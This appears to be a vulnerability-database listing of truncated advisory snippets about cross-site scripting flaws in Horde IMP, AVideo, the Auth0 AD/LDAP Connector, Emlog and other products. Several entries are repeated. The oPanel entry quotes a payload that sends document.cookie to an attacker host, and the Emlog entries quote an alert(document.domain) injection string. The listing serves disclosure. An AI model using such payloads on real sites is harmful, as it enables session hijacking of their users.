CVE-2025-30349

Vulnerabilidad de Horde IMP – ofuscación mediante codificación HTML – payload XSS Horde 5.2.23; IMP 6.2.27 Los detalles de la vulnerabilidad se explican en el archivo Details.md. El PoC crea y envía un correo electrónico con un payload que explota la vulnerabilidad al destinatario. Este tipo de...

CVE-2025-44136

CVE-2025-44136 Unauthenticated XSS in MapTiler Tileserver-php v2.0. Description MapTiler Tileserver-php v2.0 is vulnerable to Cross Site Scripting XSS. The GET parameter "layer" is reflected in an error message without html encoding. This leads to XSS and allows an unauthenticated attacker to...

CVE-2026-50980

CVE-2026-50980：基于 DNS 的跨站脚本攻击（XSS）及会话劫持（oPanel） 概述 CVE ID： CVE-2026-50980 产品： oPanel 受影响版本： new Image.src='http://:/log?cookie='+document.cookie;...

CVE-2026-33331

CVE-2026-33331 — XSS almacenado en el plugin de referencia OpenAPI de oRPC Laboratorio de prueba de concepto para XSS almacenado en la generación de documentación OpenAPI de orpc Propósito oRPC construye páginas de documentación de API a partir de una especificación OpenAPI. Antes de la v1.13.9,...

CVE-2026-89255

AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the LoginControl plugin that fails to HTML-encode PGP public keys echoed into a textarea element. An authenticated attacker can inject malicious JavaScript by submitting a crafte...

CVE-2026-89244

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in plugin/Gallery/view/Category.php when SubCategorys is enabled. The getBackURL parameter is echoed into an href attribute without HTML encoding, allowing attackers to inje...

CVE-2026-89244 WWBN AVideo Reflected XSS via Gallery Category getBackURL

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in plugin/Gallery/view/Category.php when SubCategorys is enabled. The getBackURL parameter is echoed into an href attribute without HTML encoding, allowing attackers to inje...

CVE-2026-89244

WWBN AVideo through commit c3edcc27 contains a reflected XSS in plugin/Gallery/view/Category.php when the SubCategories feature is enabled. The getBackURL parameter is echoed into an href attribute without HTML encoding, allowing an attacker to inject a script that executes in a visitor's browser...

PT-2026-89858

AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the LoginControl plugin that fails to HTML-encode PGP public keys echoed into a textarea element. An authenticated attacker can inject malicious JavaScript by submitting a crafte...

CVE-2026-85982

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

CVE-2026-85982

The Auth0 AD/LDAP Connector is affected by a stored Cross-Site Scripting (XSS) vulnerability caused by improper HTML encoding in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes—or a low-privileged local user...

CVE-2026-85982 Stored Cross-Site Scripting (XSS) in Auth0 AD/LDAP Connector

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

EUVD-2026-74186

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

CVE-2026-85982 Stored Cross-Site Scripting (XSS) in Auth0 AD/LDAP Connector

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

PT-2026-88455

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

CVE-2026-73848

Emlog is an open source website building system. In versions 2.6.29 and prior, tag names in emlog are not HTML-encoded when rendered in the article editor. An attacker can create a tag containing ';alertdocument.domain;//. The addslashes function does not escape HTML entities, so ' is stored as-i...

CVE-2026-73848 Emlog: Stored XSS via Tag Name in Article Editor

Emlog is an open source website building system. In versions 2.6.29 and prior, tag names in emlog are not HTML-encoded when rendered in the article editor. An attacker can create a tag containing ';alertdocument.domain;//. The addslashes function does not escape HTML entities, so ' is stored as-i...

EUVD-2026-71626

Emlog is an open source website building system. In versions 2.6.29 and prior, tag names in emlog are not HTML-encoded when rendered in the article editor. An attacker can create a tag containing ';alertdocument.domain;//. The addslashes function does not escape HTML entities, so ' is stored as-i...

CVE-2026-73848 Emlog: Stored XSS via Tag Name in Article Editor

Emlog is an open source website building system. In versions 2.6.29 and prior, tag names in emlog are not HTML-encoded when rendered in the article editor. An attacker can create a tag containing ';alertdocument.domain;//. The addslashes function does not escape HTML entities, so ' is stored as-i...

CVE-2026-73848

Emlog , an open-source website building system, is affected by a stored XSS in versions 2.6.29 and prior . Tag names rendered in the article editor are not HTML-encoded. Because the application uses addslashes() instead of proper HTML entity encoding, a single quote (') stored in a tag name is de...